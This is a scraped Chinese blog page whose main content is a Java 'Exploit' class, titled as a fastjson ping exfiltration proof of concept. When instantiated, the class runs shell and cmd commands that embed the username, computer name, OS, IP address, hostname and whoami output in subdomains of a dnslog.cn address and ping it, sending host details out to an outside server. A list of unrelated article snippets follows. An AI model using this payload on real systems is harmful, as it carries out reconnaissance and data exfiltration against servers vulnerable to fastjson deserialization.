public class Exploit {
public Exploit(){
String base_url = ".egpkd5.dnslog.cn"; //你的dnslog地址
String win_dnslog = "windows" + base_url;
// windows
try{
String[] commands = { "cmd", "/c", "ping username.%username%." + win_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "cmd", "/c", "ping computername.%computername%." + win_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "cmd", "/c", "ping os.%os%." + win_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
} // linux
String linux_dnslog = "linux" + base_url;
try{ String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\\./,\"-\"); print $0 }'`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\\./,\"-\"); print $0 }'`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "/bin/sh", "-c", "ping hostname.`cat /proc/sys/kernel/hostname`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
try{
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`." + linux_dnslog};
Runtime.getRuntime().exec(commands);
}catch(Exception e){
// e.printStackTrace();
}
}
public static void main(String[] args){
Exploit e = new Exploit();
}
}

fastjson ping外带信息poc的更多相关文章

  1. fastjson反序列化漏洞原理及利用

    重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...

  2. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  3. powershell对txt文件的服务器进行ping操作

    powershell对txt文件的服务器进行ping操作,txt文件有几百台服务器要进行Ping操作.每行一个 #//***************************************** ...

  4. ping命令

    ping命令能够用于判断一个主机是否可达或者是否存活.它的工作原理就像潜水艇的探测原理一样.该命令通过向目标计算机发送一个数据包,请求目标计算机回送该数据包以表明自己还存活着.同时该命令还能够知道数据 ...

  5. TCP协议学习记录 (三) Ping程序 RR选项 记录路由hop

    一开始想直接在上个程序改,自己构造IP包头,但后来发现不行,微软不让干了,所以后来选用libcap库来收发包 代码写的很乱.. #pragma pack(4) #define ECHO_REQUEST ...

  6. TCP协议学习记录 (二) Ping程序

    简单的实现了一个ping程序,没有做icmp差错报文的检查. 支持自定义字节数,支持发包个数 #pragma pack(4) #define ECHO_REQUEST 8 #define DATASI ...

  7. 用ping命令来模拟traceroute的功能

    ping -n 1 -r 9 qq.com 正在 Ping qq.com [163.177.65.160] 具有 32 字节的数据:来自 163.177.65.160 的回复: 字节=32 时间=11 ...

  8. 物理机与虚拟机IP互ping通,而互ping主机名不通

    问题描述:虚拟机信息:VMware-workstation 10安装RHEL5.8操作系统.hostname:rhel201.com IP:192.168.1.201 物理机系统:windows 7主 ...

  9. 同网段电脑互ping

    两台同网段的主机(host)之间的网络通信是不经过网关的. 今天试了一下,用一根网线连接两台电脑,然后 在一台电脑上设置: ip地址:192.168.0.1 子网掩码:255.255.255.0 在另 ...

随机推荐

  1. call、apply、bind的区别,模拟call、apply和bind的实现

    bind:bind绑定完this的指向后会返回一个新的函数体,不会被立即调用   call&apply:绑定完this的指向后会立即调用   call与apply的区别:     call:第 ...

  2. [转帖]【MySQL+keepalived】用keepalived实现MySQL主主模式的高可用

    [MySQL+keepalived]用keepalived实现MySQL主主模式的高可用 https://www.jianshu.com/p/8694d07595bc 一.实验说明 MySQL主主模式 ...

  3. java笔记4—继承

    继承: 作用: 提高了代码的复用性. 让类与类之间产生了关系,为多态提供了前提 继承中成员变量的特点: 继承中成员函数的特点: 方法重写: 注意:重写方法必须和被重写的方法具有相同的方法名,参数列表和 ...

  4. 使用二进制方式安装K8S时使用kubectl命令报错:The connection to the server localhost:8080 was refused - did you specify the right host or port?

    解决思路: kubectl 默认从 ~/.kube/config 配置文件获取访问 kube-apiserver 地址.证书.用户名等信息,如果没有配置该文件,或者该文件个别参数配置出错,执行命令时出 ...

  5. ubuntu 16.04 英伟达驱动安装

    参考:https://blog.csdn.net/breeze5428/article/details/80013753 换了一个新的地方,得重新配置Ubuntu 16.04,在配置NVIDIA驱动的 ...

  6. python之编码与解码、is 与==的区别

    一.编码与解码 编码的过程其实就是采用一定的编码格式将unicode字符转换成str字符的过程 非ASCII码字符按字节为单位被编码成十六进制转义字符 解码采用的编码格式跟设置和环境有关 ascii ...

  7. java--Annotation实现

    Annotation实现 在java中一共提供了三个annotation:@Override,@Deprecated,@SupperessWarnings 代码范例:使用Annotation pack ...

  8. Lombok的使用详解(最详尽的解释,覆盖讲解所有可用注解),解决@Builder.Default默认值问题

    原文:https://blog.csdn.net/f641385712/article/details/82081900 前言 Lombok是一款Java开发插件,使得Java开发者可以通过其定义的一 ...

  9. ffmpeg常用命令-学习

    文章标题:FFmpeg常用命令合集 文章地址:https://blog.csdn.net/lemon_tree12138/article/details/99719520

  10. idea 模板

    /** * @author sharplee * @version 1.0.0 * @ClassName ${PACKAGE_NAME}.${NAME} * @Description * @creat ...